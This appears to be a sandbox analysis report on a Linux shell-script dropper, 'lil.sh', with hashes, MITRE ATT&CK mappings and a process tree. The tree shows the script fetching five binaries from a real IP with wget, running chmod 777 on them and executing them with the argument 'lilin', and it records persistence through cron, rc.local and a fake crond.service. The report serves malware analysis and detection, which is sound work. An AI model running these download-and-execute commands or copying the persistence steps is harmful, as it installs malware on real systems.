7e9336f205cc08240bc638cde5a91efcb162f9573f5064ddd81e34d635f0a8a6

Analysis

max time kernel
150s
max time network
151s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
04/08/2026, 08:21

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
lil.sh
Size 844B
Sample260804-j9fqsavejg
SHA256 7e9336f205cc08240bc638cde5a91efcb162f9573f5064ddd81e34d635f0a8a6
MD5 028ebc88cecb43281035961ca27b91b9
SHA1 a292b82066a6a9232c7e0ee2b5821adc04db9f87
SHA512 e934465ea59e36d2c0c2befaf0dc7d7ab1a2c94f9dff9e12c0e62bbe3337d0bd3e8974dcff22c3dfc629460c460611cd252353a034dc22f7467b46fe12fbae37
TLSH
T14601EBCAD1205940809AD41E23D71064F830C3C72A8B4B75BF5CA9399B94E08B07AFE4
MD5 SHA1 SHA512 TLSH

Score

7^/10

antivm defense_evasion discovery execution persistence privilege_escalation

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 5 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
832	chmod
777	chmod
802	chmod
809	chmod
825	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/b5x	780	lil.sh

Creates/modifies Cron job 1 TTPs 2 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/etc/cron.d/crond	b5x
File opened for modification	/etc/crontab	b5x

Enumerates running processes
Discovers information about currently running processes on the system

Modifies rc script 2 TTPs 1 IoCs

Adding/modifying system rc scripts is a common persistence mechanism.

persistence

Boot or Logon Autostart Execution

T1547

RC Scripts

T1037.004

description	ioc	Process
File opened for modification	/etc/rc.local	b5x

Modifies systemd 2 TTPs 1 IoCs

Adds/ modifies systemd service files. Likely to achieve persistence.

persistence privilege_escalation

XDG Autostart Entries

T1547.013

Systemd Service

T1543.002

description	ioc	Process
File opened for modification	/etc/systemd/system/crond.service	b5x

Checks CPU configuration 1 TTPs 1 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	b5x

Enumerates kernel/hardware configuration 1 TTPs 2 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/570/exe	b5x
File opened for reading	/proc/868/cmdline	b5x
File opened for reading	/proc/872/cmdline	b5x
File opened for reading	/proc/2/cmdline	b5x
File opened for reading	/proc/328/cmdline	b5x
File opened for reading	/proc/848/exe	b5x
File opened for reading	/proc/857/cmdline	b5x
File opened for reading	/proc/905/exe	b5x
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/784/cmdline	b5x
File opened for reading	/proc/831/cmdline	b5x
File opened for reading	/proc/862/cmdline	b5x
File opened for reading	/proc/905/cmdline	b5x
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/588/cmdline	b5x
File opened for reading	/proc/816/cmdline	b5x
File opened for reading	/proc/853/cmdline	b5x
File opened for reading	/proc/859/exe	b5x
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/637/cmdline	b5x
File opened for reading	/proc/779/cmdline	b5x
File opened for reading	/proc/594/cmdline	b5x
File opened for reading	/proc/810/exe	b5x
File opened for reading	/proc/835/exe	b5x
File opened for reading	/proc/840/cmdline	b5x
File opened for reading	/proc/861/cmdline	b5x
File opened for reading	/proc/866/cmdline	b5x
File opened for reading	/proc/873/exe	b5x
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/844/exe	b5x
File opened for reading	/proc/26/cmdline	b5x
File opened for reading	/proc/42/cmdline	b5x
File opened for reading	/proc/785/exe	b5x
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/588/exe	b5x
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/287/cmdline	b5x
File opened for reading	/proc/20/cmdline	b5x
File opened for reading	/proc/860/exe	b5x
File opened for reading	/proc/870/cmdline	b5x
File opened for reading	/proc/891/exe	b5x
File opened for reading	/proc/898/cmdline	b5x
File opened for reading	/proc/899/exe	b5x
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/658/exe	b5x
File opened for reading	/proc/318/cmdline	b5x
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/824/cmdline	b5x
File opened for reading	/proc/854/cmdline	b5x
File opened for reading	/proc/858/exe	b5x
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/297/cmdline	b5x
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/109/cmdline	b5x
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/820/cmdline	b5x
File opened for reading	/proc/903/cmdline	b5x
File opened for reading	/proc/filesystems	ls

Writes file to tmp directory 2 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/b5x	wget
File opened for modification	/tmp/lil	lil.sh

/tmp/lil.sh
/tmp/lil.sh
1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:648
- /bin/ls
  ls -l /proc/1/exe
  2⤵
  PID:649
- /bin/ls
  ls -l /proc/10/exe
  2⤵
  PID:654
- /bin/ls
  ls -l /proc/102/exe
  2⤵
  PID:660
- /bin/ls
  ls -l /proc/109/exe
  2⤵
  PID:667
- /bin/ls
  ls -l /proc/11/exe
  2⤵
  PID:671
- /bin/ls
  ls -l /proc/111/exe
  2⤵
  PID:672
- /bin/ls
  ls -l /proc/112/exe
  2⤵
  - Reads runtime system information
  PID:675
- /bin/ls
  ls -l /proc/12/exe
  2⤵
  - Reads runtime system information
  PID:676
- /bin/ls
  ls -l /proc/13/exe
  2⤵
  - Reads runtime system information
  PID:680
- /bin/ls
  ls -l /proc/139/exe
  2⤵
  - Reads runtime system information
  PID:681
- /bin/ls
  ls -l /proc/14/exe
  2⤵
  PID:683
- /bin/ls
  ls -l /proc/140/exe
  2⤵
  PID:684
- /bin/ls
  ls -l /proc/147/exe
  2⤵
  - Reads runtime system information
  PID:685
- /bin/ls
  ls -l /proc/15/exe
  2⤵
  - Reads runtime system information
  PID:686
- /bin/ls
  ls -l /proc/158/exe
  2⤵
  PID:688
- /bin/ls
  ls -l /proc/16/exe
  2⤵
  PID:689
- /bin/ls
  ls -l /proc/17/exe
  2⤵
  PID:690
- /bin/ls
  ls -l /proc/172/exe
  2⤵
  PID:691
- /bin/ls
  ls -l /proc/18/exe
  2⤵
  PID:692
- /bin/ls
  ls -l /proc/19/exe
  2⤵
  PID:693
- /bin/ls
  ls -l /proc/196/exe
  2⤵
  PID:694
- /bin/ls
  ls -l /proc/2/exe
  2⤵
  PID:695
- /bin/ls
  ls -l /proc/20/exe
  2⤵
  PID:696
- /bin/ls
  ls -l /proc/21/exe
  2⤵
  PID:697
- /bin/ls
  ls -l /proc/22/exe
  2⤵
  PID:698
- /bin/ls
  ls -l /proc/225/exe
  2⤵
  PID:699
- /bin/ls
  ls -l /proc/23/exe
  2⤵
  PID:700
- /bin/ls
  ls -l /proc/24/exe
  2⤵
  PID:701
- /bin/ls
  ls -l /proc/25/exe
  2⤵
  PID:702
- /bin/ls
  ls -l /proc/26/exe
  2⤵
  PID:703
- /bin/ls
  ls -l /proc/27/exe
  2⤵
  - Reads runtime system information
  PID:704
- /bin/ls
  ls -l /proc/28/exe
  2⤵
  PID:705
- /bin/ls
  ls -l /proc/287/exe
  2⤵
  PID:706
- /bin/ls
  ls -l /proc/288/exe
  2⤵
  PID:707
- /bin/ls
  ls -l /proc/29/exe
  2⤵
  PID:708
- /bin/ls
  ls -l /proc/295/exe
  2⤵
  PID:709
- /bin/ls
  ls -l /proc/296/exe
  2⤵
  PID:710
- /bin/ls
  ls -l /proc/297/exe
  2⤵
  PID:711
- /bin/ls
  ls -l /proc/3/exe
  2⤵
  PID:712
- /bin/ls
  ls -l /proc/300/exe
  2⤵
  PID:713
- /bin/ls
  ls -l /proc/301/exe
  2⤵
  PID:714
- /bin/ls
  ls -l /proc/318/exe
  2⤵
  PID:715
- /bin/ls
  ls -l /proc/326/exe
  2⤵
  PID:716
- /bin/ls
  ls -l /proc/328/exe
  2⤵
  PID:717
- /bin/ls
  ls -l /proc/4/exe
  2⤵
  PID:718
- /bin/ls
  ls -l /proc/41/exe
  2⤵
  - Reads runtime system information
  PID:719
- /bin/ls
  ls -l /proc/42/exe
  2⤵
  PID:720
- /bin/ls
  ls -l /proc/43/exe
  2⤵
  PID:721
- /bin/ls
  ls -l /proc/5/exe
  2⤵
  - Reads runtime system information
  PID:722
- /bin/ls
  ls -l /proc/570/exe
  2⤵
  PID:723
- /bin/ls
  ls -l /proc/585/exe
  2⤵
  - Reads runtime system information
  PID:724
- /bin/ls
  ls -l /proc/588/exe
  2⤵
  PID:725
- /bin/ls
  ls -l /proc/593/exe
  2⤵
  - Reads runtime system information
  PID:726
- /bin/ls
  ls -l /proc/594/exe
  2⤵
  PID:729
- /bin/ls
  ls -l /proc/6/exe
  2⤵
  PID:732
- /bin/ls
  ls -l /proc/631/exe
  2⤵
  - Reads runtime system information
  PID:733
- /bin/ls
  ls -l /proc/637/exe
  2⤵
  - Reads runtime system information
  PID:736
- /bin/ls
  ls -l /proc/640/exe
  2⤵
  - Reads runtime system information
  PID:738
- /bin/ls
  ls -l /proc/642/exe
  2⤵
  PID:740
- /bin/ls
  ls -l /proc/644/exe
  2⤵
  PID:742
- /bin/ls
  ls -l /proc/645/exe
  2⤵
  PID:744
- /bin/ls
  ls -l /proc/646/exe
  2⤵
  PID:747
- /bin/ls
  ls -l /proc/647/exe
  2⤵
  - Reads runtime system information
  PID:748
- /bin/ls
  ls -l /proc/648/exe
  2⤵
  PID:751
- /bin/ls
  ls -l /proc/7/exe
  2⤵
  PID:753
- /bin/ls
  ls -l /proc/8/exe
  2⤵
  PID:755
- /bin/ls
  ls -l /proc/80/exe
  2⤵
  - Reads runtime system information
  PID:757
- /bin/ls
  ls -l /proc/9/exe
  2⤵
  PID:759
- /bin/rm
  rm -rf b5x
  2⤵
  PID:762
- /usr/bin/wget
  wget http://129.121.110.105/b5x
  2⤵
  - Writes file to tmp directory
  PID:763
- /bin/chmod
  chmod 777 b5x
  2⤵
  - File and Directory Permissions Modification
  PID:777
- /tmp/b5x
  ./b5x lilin
  2⤵
  - Creates/modifies Cron job
  - Modifies rc script
  - Modifies systemd
  - Checks CPU configuration
  - Reads runtime system information
  PID:780
- - /usr/local/sbin/systemctl
    systemctl daemon-reload
    3⤵
    PID:799
- - /usr/local/sbin/systemctl
    systemctl enable crond.service
    3⤵
    PID:800
- - /usr/local/bin/systemctl
    systemctl enable crond.service
    3⤵
    PID:800
- - /usr/local/bin/systemctl
    systemctl daemon-reload
    3⤵
    PID:799
- - /usr/sbin/systemctl
    systemctl enable crond.service
    3⤵
    PID:800
- - /usr/sbin/systemctl
    systemctl daemon-reload
    3⤵
    PID:799
- - /usr/bin/systemctl
    systemctl enable crond.service
    3⤵
    PID:800
- - /usr/bin/systemctl
    systemctl daemon-reload
    3⤵
    PID:799
- - /sbin/systemctl
    systemctl daemon-reload
    3⤵
    PID:799
- - /sbin/systemctl
    systemctl enable crond.service
    3⤵
    PID:800
- - /bin/systemctl
    systemctl daemon-reload
    3⤵
    - Enumerates kernel/hardware configuration
    - Reads runtime system information
    PID:799
- /bin/rm
  rm -rf yWy4
  2⤵
  PID:787
- /usr/bin/wget
  wget http://129.121.110.105/yWy4
  2⤵
  PID:798
- /bin/chmod
  chmod 777 yWy4
  2⤵
  - File and Directory Permissions Modification
  PID:802
- /tmp/yWy4
  ./yWy4 lilin
  2⤵
  PID:805
- /bin/rm
  rm -rf FKO
  2⤵
  PID:806
- /usr/bin/wget
  wget http://129.121.110.105/FKO
  2⤵
  PID:807
- /bin/chmod
  chmod 777 FKO
  2⤵
  - File and Directory Permissions Modification
  PID:809
- /tmp/FKO
  ./FKO lilin
  2⤵
  PID:819
- /bin/rm
  rm -rf eAC
  2⤵
  PID:822
- /usr/bin/wget
  wget http://129.121.110.105/eAC
  2⤵
  PID:824
- /bin/chmod
  chmod 777 eAC
  2⤵
  - File and Directory Permissions Modification
  PID:825
- /tmp/eAC
  ./eAC lilin
  2⤵
  PID:827
- /bin/rm
  rm -rf S4Cq
  2⤵
  PID:829
- /usr/bin/wget
  wget http://129.121.110.105/S4Cq
  2⤵
  PID:831
- /bin/chmod
  chmod 777 S4Cq
  2⤵
  - File and Directory Permissions Modification
  PID:832
- /tmp/S4Cq
  ./S4Cq lilin
  2⤵
  PID:833
- /bin/rm
  rm -rf lil
  2⤵
  PID:834

/bin/systemctl
systemctl enable crond.service
1⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:800

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Boot or Logon Initialization Scripts

T1037

RC Scripts

T1037.004

Create or Modify System Process

T1543

Systemd Service

T1543.002

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Boot or Logon Initialization Scripts

T1037

RC Scripts

T1037.004

Create or Modify System Process

T1543

Systemd Service

T1543.002

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

crond

Path /etc/cron.d/crond
Size 31B
SHA256 1190ac63d8e8a68e9736e04bf1473009521bb4c2077a6cffe855606cabe647f3
MD5 2bf2026eaf556cd163345676f8d52f6b
SHA1 8303d24be2b5165ba476791fa252ce30e58d9aec
SHA512 123bb63f14fd0dca6b56db702c4738377c44083cd4caf965618fd0ec01a6647b34da4cc570bb27c04dc32e5b6869a67337d146b0800676b83b1be021e6cd4926
MD5 SHA1 SHA512

Submit Download

rc.local

Path /etc/rc.local
Size 10B
SHA256 a8076d3d28d21e02012b20eaf7dbf75409a6277134439025f282e368e3305abf
MD5 3e2b31c72181b87149ff995e7202c0e3
SHA1 bd971bec88149956458a10fc9c5ecb3eb99dd452
SHA512 543f39af1ae7a2382ed869cbd1ee1ac598a88eb4e213cd64487c54b5c37722c6207ee6db4fa7e2ed53064259a44115c6da7bbc8c068378bb52a25e7088eeebd6
MD5 SHA1 SHA512

Submit Download

rc.local

Path /etc/rc.local
Size 35B
SHA256 f96151b0096226c7e43f021e572f7da2e87a630b6ecdef02df67c4e0fc349e03
MD5 56504fe64ef23a840282a4b517a508a6
SHA1 442206e8a2a794b8f7fb8399a3b22df854c62cf9
SHA512 56aede7a5ed31668710d220bdefaf56df48a922f3e7263143852543fea4e7b943825c2ef11a117481c3bb092d4ae4d04ae1b0479e05376e7b135d19e7f8047a2
MD5 SHA1 SHA512

Submit Download

crond.service

Path /etc/systemd/system/crond.service
Size 194B
SHA256 031e7de70aea07828d1894960683a5085b72e79cac1a2be916c1aee472458544
MD5 53376fbb881d97f6d04a54470b5a9c4c
SHA1 913ca4df638c694a1b99d01331ae53db8ffdd187
SHA512 b062366228b0d3c30cfb2153e4571800c65edd971182e4d5bac3dba7b2dd3c94d3697db91a9d22dd9e8534c5f104d9d962b99fa8e6e8c160bf1bbe38cc39924f
TLSH
T105C02223952114E1994F39A2AEA62B488EA106000ACF92B00B9029291DF20E711218AE
MD5 SHA1 SHA512 TLSH

Submit Download

b5x

Path /tmp/b5x
Size 73KB
SHA256 4a095b2f18caf5c97e89c61c605c294cb72f835afc76bf5e75aea009d8ec39ff
MD5 d797d2f80a713f9ca93d4beff102e9cb
SHA1 4588610cb28deff6c176813c209480e95ca57c9d
SHA512 92c2484332ab227b2638f25a7cd31c07cf0367059b4cf1ae44d6aa19b3745a56c7dc29f1e175202327f11a650c390d2b081125e29caba33701f7a839e1ac5dec
SSDEEP 1536:a1hjGC+ig4TlqbV5Vrj3miAQ6uzaRvZdaTwNZcrOF6EqRAh5Dfr:a1hqvZ4kZ5d3rA/uGxDcwHYOF6EqRg
TLSH
T1A0731726B9419F0BC6C25677BF2E8349331627BCE3DA3103DE156F6137DB52A0E2A941
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

lil

Path /tmp/lil
Size 1B
SHA256 01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b
MD5 68b329da9893e34099c7d8ad5cb9c940
SHA1 adc83b19e793491b1c6ea0fd8b46cd9f32e592fc
SHA512 be688838ca8686e5c90689bf2ab585cef1137c999b48c70b92f67a5c34dc15697b5d11c982ed6d71be1e1e7f7b4e0733884aa97c3f7a339a8ed03577cf74be09
MD5 SHA1 SHA512

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads